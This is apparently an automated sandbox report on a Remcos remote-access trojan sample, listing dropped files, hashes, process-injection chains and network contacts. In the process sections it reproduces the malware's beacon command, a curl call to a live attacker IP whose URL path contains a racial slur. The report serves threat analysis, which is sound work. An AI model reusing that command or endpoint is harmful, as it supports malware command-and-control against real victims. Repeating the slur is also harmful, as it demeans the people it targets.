Malware Analysis Report

2024-11-13 18:49

Sample ID 240422-ntgqcsag69
Target av_sec.exe
SHA256 3bcf561a6a414a306a3196ca7174fd99b966faacb8f0ce4fae4bc72d32a4aebf
Tags
remcos remotehost rat
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

3bcf561a6a414a306a3196ca7174fd99b966faacb8f0ce4fae4bc72d32a4aebf

Threat Level: Known bad

The file av_sec.exe was found to be: Known bad.

Malicious Activity Summary

remcos remotehost rat

Remcos

Executes dropped EXE

Checks computer location settings

Loads dropped DLL

Suspicious use of SetThreadContext

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Suspicious use of WriteProcessMemory

Modifies registry class

Suspicious behavior: MapViewOfSection

Suspicious use of SetWindowsHookEx

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-04-22 11:41

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-04-22 11:41

Reported

2024-04-22 11:43

Platform

win7-20240221-en

Max time kernel

149s

Max time network

150s

Command Line

"C:\Users\Admin\AppData\Local\Temp\av_sec.exe"

Signatures

Remcos

rat remcos

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\Beaconserver4\RttHlp.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Beaconserver4\RttHlp.exe N/A

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 2792 set thread context of 2732 N/A C:\Users\Admin\AppData\Roaming\Beaconserver4\RttHlp.exe C:\Windows\SysWOW64\cmd.exe

Enumerates physical storage devices

Suspicious behavior: MapViewOfSection

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Roaming\Beaconserver4\RttHlp.exe N/A
N/A N/A C:\Windows\SysWOW64\cmd.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\av_sec.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2784 wrote to memory of 2604 N/A C:\Users\Admin\AppData\Local\Temp\av_sec.exe C:\Users\Admin\AppData\Local\Temp\Beaconserver4\RttHlp.exe
PID 2784 wrote to memory of 2604 N/A C:\Users\Admin\AppData\Local\Temp\av_sec.exe C:\Users\Admin\AppData\Local\Temp\Beaconserver4\RttHlp.exe
PID 2784 wrote to memory of 2604 N/A C:\Users\Admin\AppData\Local\Temp\av_sec.exe C:\Users\Admin\AppData\Local\Temp\Beaconserver4\RttHlp.exe
PID 2784 wrote to memory of 2604 N/A C:\Users\Admin\AppData\Local\Temp\av_sec.exe C:\Users\Admin\AppData\Local\Temp\Beaconserver4\RttHlp.exe
PID 2604 wrote to memory of 2792 N/A C:\Users\Admin\AppData\Local\Temp\Beaconserver4\RttHlp.exe C:\Users\Admin\AppData\Roaming\Beaconserver4\RttHlp.exe
PID 2604 wrote to memory of 2792 N/A C:\Users\Admin\AppData\Local\Temp\Beaconserver4\RttHlp.exe C:\Users\Admin\AppData\Roaming\Beaconserver4\RttHlp.exe
PID 2604 wrote to memory of 2792 N/A C:\Users\Admin\AppData\Local\Temp\Beaconserver4\RttHlp.exe C:\Users\Admin\AppData\Roaming\Beaconserver4\RttHlp.exe
PID 2604 wrote to memory of 2792 N/A C:\Users\Admin\AppData\Local\Temp\Beaconserver4\RttHlp.exe C:\Users\Admin\AppData\Roaming\Beaconserver4\RttHlp.exe
PID 2792 wrote to memory of 2732 N/A C:\Users\Admin\AppData\Roaming\Beaconserver4\RttHlp.exe C:\Windows\SysWOW64\cmd.exe
PID 2792 wrote to memory of 2732 N/A C:\Users\Admin\AppData\Roaming\Beaconserver4\RttHlp.exe C:\Windows\SysWOW64\cmd.exe
PID 2792 wrote to memory of 2732 N/A C:\Users\Admin\AppData\Roaming\Beaconserver4\RttHlp.exe C:\Windows\SysWOW64\cmd.exe
PID 2792 wrote to memory of 2732 N/A C:\Users\Admin\AppData\Roaming\Beaconserver4\RttHlp.exe C:\Windows\SysWOW64\cmd.exe
PID 2792 wrote to memory of 2732 N/A C:\Users\Admin\AppData\Roaming\Beaconserver4\RttHlp.exe C:\Windows\SysWOW64\cmd.exe
PID 2732 wrote to memory of 2360 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\explorer.exe
PID 2732 wrote to memory of 2360 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\explorer.exe
PID 2732 wrote to memory of 2360 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\explorer.exe
PID 2732 wrote to memory of 2360 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\explorer.exe
PID 2732 wrote to memory of 2360 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\explorer.exe
PID 2360 wrote to memory of 632 N/A C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\WScript.exe
PID 2360 wrote to memory of 632 N/A C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\WScript.exe
PID 2360 wrote to memory of 632 N/A C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\WScript.exe
PID 2360 wrote to memory of 632 N/A C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\WScript.exe
PID 632 wrote to memory of 884 N/A C:\Windows\SysWOW64\WScript.exe C:\Windows\SysWOW64\cmd.exe
PID 632 wrote to memory of 884 N/A C:\Windows\SysWOW64\WScript.exe C:\Windows\SysWOW64\cmd.exe
PID 632 wrote to memory of 884 N/A C:\Windows\SysWOW64\WScript.exe C:\Windows\SysWOW64\cmd.exe
PID 632 wrote to memory of 884 N/A C:\Windows\SysWOW64\WScript.exe C:\Windows\SysWOW64\cmd.exe
PID 2732 wrote to memory of 2360 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\explorer.exe

Processes

C:\Users\Admin\AppData\Local\Temp\av_sec.exe

"C:\Users\Admin\AppData\Local\Temp\av_sec.exe"

C:\Users\Admin\AppData\Local\Temp\Beaconserver4\RttHlp.exe

C:\Users\Admin\AppData\Local\Temp\Beaconserver4\RttHlp.exe

C:\Users\Admin\AppData\Roaming\Beaconserver4\RttHlp.exe

C:\Users\Admin\AppData\Roaming\Beaconserver4\RttHlp.exe

C:\Windows\SysWOW64\cmd.exe

C:\Windows\SysWOW64\cmd.exe

C:\Windows\SysWOW64\explorer.exe

C:\Windows\SysWOW64\explorer.exe

C:\Windows\SysWOW64\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\check1.vbs"

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\System32\cmd.exe" /c curl http://94.156.66.107:9000/hooks/nigger?id=QGTQZTRE

Network

Country Destination Domain Proto
FR 178.33.57.155:443 tcp
FR 178.33.57.155:443 tcp
FR 178.33.57.155:443 tcp
FR 178.33.57.155:443 tcp

Files

memory/2784-1-0x00000000001D0000-0x00000000001D1000-memory.dmp

memory/2784-0-0x0000000000400000-0x0000000000F64000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\8bdab5ce

MD5 320634072eddd5b14ddddcf0e32d6608
SHA1 d8db9bf00db95b25d2cd8b2c5888d250b535232b
SHA256 bba6f76185241df9bf477ca6c815fb4914d000489ce84f54ed17eeda199a1714
SHA512 8ea9e10a14de6f84041af79548a07936e84ececfdcab9c248aaab4bb80f1e387a6c421afb35e93c619698d6c93b5ebdace3b2f858910a74076c827d5e24971ff

memory/2784-7-0x000007FEF6640000-0x000007FEF6798000-memory.dmp

memory/2784-9-0x000007FEF6640000-0x000007FEF6798000-memory.dmp

memory/2784-18-0x000007FEF6640000-0x000007FEF6798000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\Beaconserver4\RttHlp.exe

MD5 a2d70fbab5181a509369d96b682fc641
SHA1 22afcdc180400c4d2b9e5a6db2b8a26bff54dd38
SHA256 8aed681ad8d660257c10d2f0e85ae673184055a341901643f27afc38e5ef8473
SHA512 219c6e7e88004fad9f4392be9a852c58fc43b7f6900e40370991427f37eaea5c18f48d2954f9479dde8bcb787345f4e292d5620add8224aec4d93d7968820b83

memory/2784-26-0x000007FEF6640000-0x000007FEF6798000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\Beaconserver4\rtl120.bpl

MD5 adf82ed333fb5567f8097c7235b0e17f
SHA1 e6ccaf016fc45edcdadeb40da64c207ddb33859f
SHA256 d6dd7a4f46f2cfde9c4eb9463b79d5ff90fc690da14672ba1da39708ee1b9b50
SHA512 2253c7b51317a3b5734025b6c7639105dbc81c340703718d679a00c13d40dd74ccaba1f6d04b21ee440f19e82ba680aa4b2a6a75c618aed91bd85a132be9fc92

C:\Users\Admin\AppData\Local\Temp\Beaconserver4\vcl120.bpl

MD5 95ecaf8770cb3d948f45588fc04e0dfd
SHA1 49890478b975dcbb7bac20e330d9498312583f85
SHA256 5708ca3e0c822212494d2c4d51b2391904120cc5366adbc46e90fa9183d6b285
SHA512 55fa8098cbbc1503e2603f7dee57173ce429f6f5da8a00b37c79744f6063d2c46918e993712f24a42857b6ff87092fa1b4dc7c8f40483930b596824a6ffcb2bc

C:\Users\Admin\AppData\Local\Temp\Beaconserver4\bronzite.rpm

MD5 6e4ffb2517b3570bf0c6766b8a0253fa
SHA1 2143b82dd1c8c3f4d0e0b146e65667a4e8552a9e
SHA256 d690d10eac73dada021f73aa41e2e5f5f41d043ec3372512e138dc2f77623f41
SHA512 d15317ea42fcb44a247f6300e33f14079e166b8a5bce285099b0ee21c68ce6ed753fcb8279956d27c94deabd28586fc142b1d4b3c852e0b181691dc55c58aa6f

C:\Users\Admin\AppData\Local\Temp\Beaconserver4\globule.jpg

MD5 4b12739a07c02ef25a45d80516a87100
SHA1 d976238dd9a697b7c35f85d3157282dfb68f4522
SHA256 f003145b18b53ca237f3a0c1e7a21481c335467fe265474555dbc8e576d95fb6
SHA512 f91ee89bd928d6880e4c58ffdfea47cd54e3ef38b50181e3717b7cc67ca0e03d764478a34ffccb7d2ddf72f85a1d2940729c79c8d727c960db615921974b7265

memory/2604-33-0x0000000074DE0000-0x0000000074F54000-memory.dmp

memory/2604-34-0x00000000777E0000-0x0000000077989000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\Beaconserver4\Register.dll

MD5 40b9628354ef4e6ef3c87934575545f4
SHA1 8fb5da182dea64c842953bf72fc573a74adaa155
SHA256 372b14fce2eb35b264f6d4aeef7987da56d951d3a09ef866cf55ed72763caa12
SHA512 02b0ea82efbfbe2e7308f86bfbec7a5109f3fe91d42731812d2e46aebedce50aabc565d2da9d3fbcd0f46febbff49c534419d1a91e0c14d5a80f06b74888c641

memory/2604-52-0x0000000050000000-0x0000000050116000-memory.dmp

memory/2604-53-0x0000000050120000-0x000000005030D000-memory.dmp

memory/2604-49-0x0000000000400000-0x0000000000421000-memory.dmp

memory/2792-59-0x0000000074DC0000-0x0000000074F34000-memory.dmp

memory/2792-60-0x00000000777E0000-0x0000000077989000-memory.dmp

memory/2792-61-0x0000000074DC0000-0x0000000074F34000-memory.dmp

memory/2784-62-0x000007FEF6640000-0x000007FEF6798000-memory.dmp

memory/2792-64-0x0000000074DC0000-0x0000000074F34000-memory.dmp

memory/2792-66-0x0000000000400000-0x0000000000421000-memory.dmp

memory/2792-68-0x0000000050000000-0x0000000050116000-memory.dmp

memory/2732-69-0x0000000074DC0000-0x0000000074F34000-memory.dmp

memory/2792-70-0x0000000050120000-0x000000005030D000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\946f3412

MD5 0dccfd326ca7456a9ac0c316bc4c7368
SHA1 9896864f2fb677eda555c325866bec7e5bf284ec
SHA256 e66546f15a3ee8d6793d7cbada206f62e5d07e75b85030996ff793164756df06
SHA512 b60fe1ab7d15f5d87673c747f35a4a8cd069538d4dcb979b0a98c89dc59aa68f355a8c53a5a712652e503ca00b87725ff149995b60f682292e56fe1c67153370

memory/2732-71-0x00000000777E0000-0x0000000077989000-memory.dmp

memory/2732-117-0x0000000074DC0000-0x0000000074F34000-memory.dmp

memory/2732-118-0x0000000074DC0000-0x0000000074F34000-memory.dmp

memory/2732-120-0x0000000074DC0000-0x0000000074F34000-memory.dmp

memory/2360-121-0x00000000777E0000-0x0000000077989000-memory.dmp

memory/2360-122-0x0000000000400000-0x0000000000483000-memory.dmp

memory/2360-125-0x0000000000E10000-0x0000000001091000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\check1.vbs

MD5 85a2ebad40c21ba1da77230265b5351f
SHA1 803822e08837ebda5de7dde963e4872ae2fc4c21
SHA256 b5c409cbb25690b000d9d36c3b5170c1e61fff3d89bdaeadf0166ae28b0fdff9
SHA512 77374eb3d9632c45c25c997380eab1ee338fbe659a24679b3cf28e76d67ffa71e2d2ea326181909d06970dca0e92b5528c1e7f9c866493162fd77170f87ea83a

memory/2360-130-0x0000000000400000-0x0000000000483000-memory.dmp

memory/2360-131-0x0000000000400000-0x0000000000483000-memory.dmp

memory/2360-132-0x0000000000400000-0x0000000000483000-memory.dmp

memory/2360-133-0x0000000000400000-0x0000000000483000-memory.dmp

memory/2360-137-0x0000000000400000-0x0000000000483000-memory.dmp

memory/2360-138-0x0000000000400000-0x0000000000483000-memory.dmp

memory/2360-139-0x0000000000400000-0x0000000000483000-memory.dmp

memory/2360-140-0x0000000000400000-0x0000000000483000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-04-22 11:41

Reported

2024-04-22 11:43

Platform

win10v2004-20240412-en

Max time kernel

149s

Max time network

150s

Command Line

"C:\Users\Admin\AppData\Local\Temp\av_sec.exe"

Signatures

Remcos

rat remcos

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-259785868-298165991-4178590326-1000\Control Panel\International\Geo\Nation C:\Windows\SysWOW64\WScript.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\Beaconserver4\RttHlp.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Beaconserver4\RttHlp.exe N/A

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 3292 set thread context of 3192 N/A C:\Users\Admin\AppData\Roaming\Beaconserver4\RttHlp.exe C:\Windows\SysWOW64\cmd.exe

Enumerates physical storage devices

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-259785868-298165991-4178590326-1000_Classes\Local Settings C:\Windows\SysWOW64\explorer.exe N/A

Suspicious behavior: MapViewOfSection

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Roaming\Beaconserver4\RttHlp.exe N/A
N/A N/A C:\Windows\SysWOW64\cmd.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\av_sec.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 3888 wrote to memory of 3752 N/A C:\Users\Admin\AppData\Local\Temp\av_sec.exe C:\Users\Admin\AppData\Local\Temp\Beaconserver4\RttHlp.exe
PID 3888 wrote to memory of 3752 N/A C:\Users\Admin\AppData\Local\Temp\av_sec.exe C:\Users\Admin\AppData\Local\Temp\Beaconserver4\RttHlp.exe
PID 3888 wrote to memory of 3752 N/A C:\Users\Admin\AppData\Local\Temp\av_sec.exe C:\Users\Admin\AppData\Local\Temp\Beaconserver4\RttHlp.exe
PID 3752 wrote to memory of 3292 N/A C:\Users\Admin\AppData\Local\Temp\Beaconserver4\RttHlp.exe C:\Users\Admin\AppData\Roaming\Beaconserver4\RttHlp.exe
PID 3752 wrote to memory of 3292 N/A C:\Users\Admin\AppData\Local\Temp\Beaconserver4\RttHlp.exe C:\Users\Admin\AppData\Roaming\Beaconserver4\RttHlp.exe
PID 3752 wrote to memory of 3292 N/A C:\Users\Admin\AppData\Local\Temp\Beaconserver4\RttHlp.exe C:\Users\Admin\AppData\Roaming\Beaconserver4\RttHlp.exe
PID 3292 wrote to memory of 3192 N/A C:\Users\Admin\AppData\Roaming\Beaconserver4\RttHlp.exe C:\Windows\SysWOW64\cmd.exe
PID 3292 wrote to memory of 3192 N/A C:\Users\Admin\AppData\Roaming\Beaconserver4\RttHlp.exe C:\Windows\SysWOW64\cmd.exe
PID 3292 wrote to memory of 3192 N/A C:\Users\Admin\AppData\Roaming\Beaconserver4\RttHlp.exe C:\Windows\SysWOW64\cmd.exe
PID 3292 wrote to memory of 3192 N/A C:\Users\Admin\AppData\Roaming\Beaconserver4\RttHlp.exe C:\Windows\SysWOW64\cmd.exe
PID 3192 wrote to memory of 4276 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\explorer.exe
PID 3192 wrote to memory of 4276 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\explorer.exe
PID 3192 wrote to memory of 4276 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\explorer.exe
PID 3192 wrote to memory of 4276 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\explorer.exe
PID 4276 wrote to memory of 5056 N/A C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\WScript.exe
PID 4276 wrote to memory of 5056 N/A C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\WScript.exe
PID 4276 wrote to memory of 5056 N/A C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\WScript.exe
PID 5056 wrote to memory of 4336 N/A C:\Windows\SysWOW64\WScript.exe C:\Windows\SysWOW64\cmd.exe
PID 5056 wrote to memory of 4336 N/A C:\Windows\SysWOW64\WScript.exe C:\Windows\SysWOW64\cmd.exe
PID 5056 wrote to memory of 4336 N/A C:\Windows\SysWOW64\WScript.exe C:\Windows\SysWOW64\cmd.exe
PID 4336 wrote to memory of 4944 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\curl.exe
PID 4336 wrote to memory of 4944 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\curl.exe
PID 4336 wrote to memory of 4944 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\curl.exe
PID 3192 wrote to memory of 4276 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\explorer.exe

Processes

C:\Users\Admin\AppData\Local\Temp\av_sec.exe

"C:\Users\Admin\AppData\Local\Temp\av_sec.exe"

C:\Users\Admin\AppData\Local\Temp\Beaconserver4\RttHlp.exe

C:\Users\Admin\AppData\Local\Temp\Beaconserver4\RttHlp.exe

C:\Users\Admin\AppData\Roaming\Beaconserver4\RttHlp.exe

C:\Users\Admin\AppData\Roaming\Beaconserver4\RttHlp.exe

C:\Windows\SysWOW64\cmd.exe

C:\Windows\SysWOW64\cmd.exe

C:\Windows\SysWOW64\explorer.exe

C:\Windows\SysWOW64\explorer.exe

C:\Windows\SysWOW64\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\check1.vbs"

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\System32\cmd.exe" /c curl http://94.156.66.107:9000/hooks/nigger?id=QUBJEIMO

C:\Windows\SysWOW64\curl.exe

curl http://94.156.66.107:9000/hooks/nigger?id=QUBJEIMO

Network

Country Destination Domain Proto
US 8.8.8.8:53 133.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 133.211.185.52.in-addr.arpa udp
US 8.8.8.8:53 216.197.17.2.in-addr.arpa udp
US 8.8.8.8:53 g.bing.com udp
US 204.79.197.237:443 g.bing.com tcp
US 8.8.8.8:53 241.154.82.20.in-addr.arpa udp
US 8.8.8.8:53 237.197.79.204.in-addr.arpa udp
US 8.8.8.8:53 156.33.209.4.in-addr.arpa udp
US 8.8.8.8:53 196.249.167.52.in-addr.arpa udp
US 8.8.8.8:53 55.36.223.20.in-addr.arpa udp
US 8.8.8.8:53 132.250.30.184.in-addr.arpa udp
US 8.8.8.8:53 183.59.114.20.in-addr.arpa udp
US 8.8.8.8:53 206.23.85.13.in-addr.arpa udp
US 8.8.8.8:53 163.143.109.104.in-addr.arpa udp
FR 178.33.57.155:443 tcp
FR 178.33.57.155:443 tcp
US 8.8.8.8:53 155.57.33.178.in-addr.arpa udp
NL 94.156.66.107:9000 tcp
US 8.8.8.8:53 241.197.17.2.in-addr.arpa udp
US 8.8.8.8:53 26.35.223.20.in-addr.arpa udp
US 8.8.8.8:53 219.138.73.23.in-addr.arpa udp
US 8.8.8.8:53 14.227.111.52.in-addr.arpa udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp

Files

memory/3888-0-0x0000000000E40000-0x00000000019A4000-memory.dmp

memory/3888-1-0x000001B7D7AB0000-0x000001B7D7AB1000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\7c3b8ec6

MD5 320634072eddd5b14ddddcf0e32d6608
SHA1 d8db9bf00db95b25d2cd8b2c5888d250b535232b
SHA256 bba6f76185241df9bf477ca6c815fb4914d000489ce84f54ed17eeda199a1714
SHA512 8ea9e10a14de6f84041af79548a07936e84ececfdcab9c248aaab4bb80f1e387a6c421afb35e93c619698d6c93b5ebdace3b2f858910a74076c827d5e24971ff

memory/3888-7-0x00007FF93DDF0000-0x00007FF93DF62000-memory.dmp

memory/3888-9-0x00007FF93DDF0000-0x00007FF93DF62000-memory.dmp

memory/3888-16-0x00007FF93DDF0000-0x00007FF93DF62000-memory.dmp

memory/3888-21-0x00007FF93DDF0000-0x00007FF93DF62000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\Beaconserver4\RttHlp.exe

MD5 a2d70fbab5181a509369d96b682fc641
SHA1 22afcdc180400c4d2b9e5a6db2b8a26bff54dd38
SHA256 8aed681ad8d660257c10d2f0e85ae673184055a341901643f27afc38e5ef8473
SHA512 219c6e7e88004fad9f4392be9a852c58fc43b7f6900e40370991427f37eaea5c18f48d2954f9479dde8bcb787345f4e292d5620add8224aec4d93d7968820b83

C:\Users\Admin\AppData\Local\Temp\Beaconserver4\rtl120.bpl

MD5 adf82ed333fb5567f8097c7235b0e17f
SHA1 e6ccaf016fc45edcdadeb40da64c207ddb33859f
SHA256 d6dd7a4f46f2cfde9c4eb9463b79d5ff90fc690da14672ba1da39708ee1b9b50
SHA512 2253c7b51317a3b5734025b6c7639105dbc81c340703718d679a00c13d40dd74ccaba1f6d04b21ee440f19e82ba680aa4b2a6a75c618aed91bd85a132be9fc92

C:\Users\Admin\AppData\Local\Temp\Beaconserver4\vcl120.bpl

MD5 95ecaf8770cb3d948f45588fc04e0dfd
SHA1 49890478b975dcbb7bac20e330d9498312583f85
SHA256 5708ca3e0c822212494d2c4d51b2391904120cc5366adbc46e90fa9183d6b285
SHA512 55fa8098cbbc1503e2603f7dee57173ce429f6f5da8a00b37c79744f6063d2c46918e993712f24a42857b6ff87092fa1b4dc7c8f40483930b596824a6ffcb2bc

C:\Users\Admin\AppData\Local\Temp\Beaconserver4\bronzite.rpm

MD5 6e4ffb2517b3570bf0c6766b8a0253fa
SHA1 2143b82dd1c8c3f4d0e0b146e65667a4e8552a9e
SHA256 d690d10eac73dada021f73aa41e2e5f5f41d043ec3372512e138dc2f77623f41
SHA512 d15317ea42fcb44a247f6300e33f14079e166b8a5bce285099b0ee21c68ce6ed753fcb8279956d27c94deabd28586fc142b1d4b3c852e0b181691dc55c58aa6f

C:\Users\Admin\AppData\Local\Temp\Beaconserver4\globule.jpg

MD5 4b12739a07c02ef25a45d80516a87100
SHA1 d976238dd9a697b7c35f85d3157282dfb68f4522
SHA256 f003145b18b53ca237f3a0c1e7a21481c335467fe265474555dbc8e576d95fb6
SHA512 f91ee89bd928d6880e4c58ffdfea47cd54e3ef38b50181e3717b7cc67ca0e03d764478a34ffccb7d2ddf72f85a1d2940729c79c8d727c960db615921974b7265

memory/3752-36-0x00000000752D0000-0x000000007544B000-memory.dmp

memory/3752-37-0x00007FF95BD70000-0x00007FF95BF65000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\Beaconserver4\Register.dll

MD5 40b9628354ef4e6ef3c87934575545f4
SHA1 8fb5da182dea64c842953bf72fc573a74adaa155
SHA256 372b14fce2eb35b264f6d4aeef7987da56d951d3a09ef866cf55ed72763caa12
SHA512 02b0ea82efbfbe2e7308f86bfbec7a5109f3fe91d42731812d2e46aebedce50aabc565d2da9d3fbcd0f46febbff49c534419d1a91e0c14d5a80f06b74888c641

memory/3752-60-0x0000000050120000-0x000000005030D000-memory.dmp

memory/3292-59-0x00000000752D0000-0x000000007544B000-memory.dmp

memory/3752-57-0x0000000050000000-0x0000000050116000-memory.dmp

memory/3292-61-0x00007FF95BD70000-0x00007FF95BF65000-memory.dmp

memory/3752-49-0x0000000000400000-0x0000000000421000-memory.dmp

memory/3292-62-0x00000000752D0000-0x000000007544B000-memory.dmp

memory/3888-63-0x00007FF93DDF0000-0x00007FF93DF62000-memory.dmp

memory/3292-65-0x00000000752D0000-0x000000007544B000-memory.dmp

memory/3192-68-0x00000000752D0000-0x000000007544B000-memory.dmp

memory/3292-69-0x0000000050000000-0x0000000050116000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\88272629

MD5 12ad93d7558435d8e5ac08e0c364eec4
SHA1 cbea88e4cded218206436a78da6290fcfdbbcfd6
SHA256 02c127bf3a858425d1bfd8201022319e6bc2f36c3bbd91a533612c92cdecb2bc
SHA512 fa59eb5125b747150c2613edc4b165af7c8b5df0fa8413fe7936003b4d1226449153eb5cf44d5c22f34dda56f8c23ac802993f6d0575060ceb7acceff1a7e5ce

memory/3192-72-0x00007FF95BD70000-0x00007FF95BF65000-memory.dmp

memory/3192-74-0x00000000752D0000-0x000000007544B000-memory.dmp

memory/3192-75-0x00000000752D0000-0x000000007544B000-memory.dmp

memory/3192-77-0x00000000752D0000-0x000000007544B000-memory.dmp

memory/4276-78-0x00007FF95BD70000-0x00007FF95BF65000-memory.dmp

memory/4276-79-0x0000000000400000-0x0000000000483000-memory.dmp

memory/4276-81-0x0000000000530000-0x0000000000963000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\check1.vbs

MD5 85a2ebad40c21ba1da77230265b5351f
SHA1 803822e08837ebda5de7dde963e4872ae2fc4c21
SHA256 b5c409cbb25690b000d9d36c3b5170c1e61fff3d89bdaeadf0166ae28b0fdff9
SHA512 77374eb3d9632c45c25c997380eab1ee338fbe659a24679b3cf28e76d67ffa71e2d2ea326181909d06970dca0e92b5528c1e7f9c866493162fd77170f87ea83a

memory/4276-86-0x0000000000400000-0x0000000000483000-memory.dmp

memory/4276-87-0x0000000000400000-0x0000000000483000-memory.dmp

memory/4276-88-0x0000000000400000-0x0000000000483000-memory.dmp

memory/4276-89-0x0000000000400000-0x0000000000483000-memory.dmp

memory/4276-90-0x0000000000400000-0x0000000000483000-memory.dmp

memory/4276-91-0x0000000000400000-0x0000000000483000-memory.dmp

memory/4276-92-0x0000000000400000-0x0000000000483000-memory.dmp